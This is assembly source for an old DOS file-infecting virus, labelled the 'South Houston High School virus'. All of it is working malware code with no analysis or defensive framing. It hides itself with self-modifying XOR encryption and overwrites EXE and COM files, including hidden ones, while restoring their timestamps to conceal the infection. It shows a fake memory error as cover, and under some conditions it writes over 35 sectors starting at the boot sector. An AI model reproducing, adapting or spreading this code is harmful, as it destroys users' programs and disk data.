2022-08-21 09:07:57 +00:00
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; Source code to South Houston High School virus ;
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codeseg segment
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assume cs:codeseg, ds:codeseg
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org 100h
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cr equ 13
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lf equ 10
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tab equ 9
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start:
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call encrypt_decrypt
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jmp random_mutation
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encrypt_val db 0
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infect_file:
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mov bx,handle ; (648C:01F2=0)
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push bx ; Save handle
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call encrypt_decrypt ; encrypt code
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pop bx ; Restore handle
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mov cx,offset eof-offset start ; Length of code
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mov dx,offset start ; Start of code
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mov ah,40h ; Write to handle BX
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int 21h ; DOS Services ah=function 40h
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; write file cx=bytes, to ds:dx
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call encrypt_decrypt ; decrypt code
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mov al,encrypt_val ; AL= code #
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add al,13 ; add 13
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adc al,0 ; plus carry
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mov encrypt_val,al ; save new value
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ret ; Return
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encrypt_decrypt:
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mov bx,offset encrypted ; offset of encrypted
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; code in memory
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mov al,encrypt_val ; encryption value
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or al,al ; 0 ?
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jz skipcryptor ; Don't waste time
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xor_loop: xor byte ptr [bx],al ; modify byte
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inc bx ; next byte, please
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add al,bh ; adjust encryption key
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cmp bx,offset eof ; are we done yet?
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jle xor_loop ; Nope, keep goin'
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skipcryptor: ret ; Yep, bye bye!
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; The code from here on is encrypted until run-time (except in the case of a
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; first-run copy).
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encrypted:
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exe_filespec db '*.EXE',0
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com_filespec db '*.COM',0
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newdir db '..',0
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fake_msg db 'Program too big to fit in memory',cr,lf,'$'
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virus_msg db cr,lf,tab,'I',39,'m sorry, Dave... but '
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db 'I',39,'m afraid I can',39,'t do that!',cr,lf,cr,lf
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db cr,lf,tab,'Dedicated to the dudes at SHHS'
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db cr,lf,tab,'The BOOT SECTOR Infector ...',cr,lf,'$'
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random_mutation: mov si,offset fname ; point to fname
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mov di,offset tfname ; point to tfname
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mov cx,13 ; 13 chars
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rep movsb ; copy the string
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cmp byte ptr encrypt_val,0 ; encryption value
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je install_val ; Jump if equal
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mov ah,2Ch ; Get time
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int 21h ; Call DOS to ^
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cmp dh,55 ; more than 55 seconds?
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jg find_extension ; Yes: don't mutate
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install_val: or dl,dl ; DL = 0 ?
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jnz skipmutation ; No need to mutate
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skipmutation: mov encrypt_val,dl ; save code number
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find_extension: mov byte ptr files_found,0 ; Haven't found any yet
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mov byte ptr files_infected,3 ; No more than 3 files
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mov byte ptr success,0 ; No successful tries
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find_exe: mov cx,27h ; attr: R/O,HID,SYS,ARC
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mov dx,offset exe_filespec ; point to '*.EXE',0
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mov ah,4Eh ; Find first
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int 21h ; DOS Services
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jc find_com ; No more? Find EXE
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call find_healthy ; Find a healthy file
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find_com: mov cx,27h ; attr: R/O,HID,SYS,ARC
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mov dx,offset com_filespec ; point to '*.COM',0
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mov ah,4Eh ; Find first match
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int 21h ; DOS Services ah=function 4Eh
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; find 1st filenam match @ds:dx
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jc chdir ; No more? CD ..
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call find_healthy ; Start over
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chdir: mov dx,offset newdir ; point to '..',0
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mov ah,3Bh ; CHDIR ..
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int 21h ; DOS Services
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jnc find_exe ; Look for EXEs
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jmp exit_virus ;
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find_healthy: mov bx,80h ; points at DTA
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mov ax,[bx+15h] ; original attribute
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mov orig_attr,ax ; ^
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mov ax,[bx+16h] ; original time stamp
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mov orig_time,ax ; ^
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mov ax,[bx+18h] ; original date stamp
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mov orig_date,ax ; ^
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mov dx,9Eh ; filename
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xor cx,cx ; zero out attributes
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mov ax,4301h ; set attribute
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int 21h ; DOS Services
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mov ax,3D02h ; Open file read&write
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int 21h ; DOS Services
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mov handle,ax ; save file handle
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mov bx,ax ; place ^ in BX
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mov cx,20 ; read in 20 chars
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mov dx,offset compare_buff ; Points to buffer
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mov ah,3Fh ; Read file
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int 21h ; DOS Services
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mov bx,offset compare_buff ; Points to buffer
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mov ah,encrypt_val ; Encryption value
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mov [bx+offset encrypt_val-100h],ah ; Fill in the blank
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mov si,100h ; Point to code's start
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mov di,offset compare_buff ; Point to buffer
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repe cmpsb ; Compare buff to code
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jne healthy ; Didn't match, jump...
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call close_file ; Close the file
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inc byte ptr files_found ; Found one!
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continue_search: mov ah,4Fh ; Find next
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int 21h ; DOS Services
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jnc find_healthy ; Find more
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no_more_found: ret ; RETurn
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healthy: mov bx,handle ; (648C:01F2=0)
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mov ah,3Eh ; Close file
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int 21h ; DOS Services
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mov ax,3D02h ; Open file read&write
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mov dx,9Eh ; Filename is ....
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int 21h ; DOS Services
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mov si,dx ; Point to filename
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mov di,offset fname ; Point to fname
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mov cx,13 ; Copy 13 chars
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rep movsb ; Copy filename
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mov handle,ax ; save handle
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call infect_file ; infect file
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call close_file ; close file
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inc byte ptr success ; Success!!!
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dec byte ptr files_infected ; We got one!
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jz exit_virus ; Jump if zero
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jmp short continue_search ; Continue the search
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close_file: mov bx,handle ; get handle
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mov cx,orig_time ; get original time
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mov dx,orig_date ; get original date
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mov ax,5701h ; set date/time stamp
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int 21h ; DOS Services
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mov ah,3Eh ; close file
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int 21h ; DOS Services
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mov cx,orig_attr ; get original attrib
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mov ax,4301h ; get/set attribute
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mov dx,9Eh ; point to filename
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int 21h ; DOS Services
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ret ; RETurn
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exit_virus: cmp byte ptr files_found,8 ; Found at least 8?
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jl print_fake ; No, keep low profile
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cmp byte ptr success,0 ; Got anything?
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jg print_fake ; Yep, cover it up
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mov ah,9 ; Print string
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mov dx,offset virus_msg ; Point to virus msg
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int 21h ; DOS Services
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mov ah,19h ; Get current disk
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int 21h ; Call DOS to ^
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mov si,offset tfname ; Point to tfname
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mov di,offset fname ; Point to fname
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mov cx,13 ; Copy 13 chars
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rep movsb ; Copy filename
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mov bx,offset kbstr ; BX points to message
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xor dx,dx ; Start at boot sector
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mov cx,35 ; 35 sectors
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int 26h ; Absolute disk write, drive al
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jmp short terminate ; End of the line!
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print_fake: mov ah,9 ; Print string
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mov dx,offset fake_msg ; DX points to fake msg
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int 21h ; DOS Services
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terminate:
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mov ax,305h ; Set typematic rate
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mov bx,31Fh ; Long delay, fast reps
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int 16h ; Keyboard i/o call ^^
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int 20h ; Terminate process
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kbstr: db 'Killed by: ' ;Killed by
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fname: db '1st run copy',0 ;13 spaces for filename
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ekbstr: db '$' ;Terminator for string
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eof:
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;These variables are for temporary use only and are therefore excluded from
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;encryption and writing to the disk (this saves time and space).
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compare_buff db 20 dup (?)
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files_found db ?
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files_infected db ?
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orig_time dw ?
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orig_date dw ?
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orig_attr dw ?
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handle dw ?
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success db ?
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tfname: db 13 dup (?)
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codeseg ends
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end start
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2021-01-12 23:58:25 +00:00
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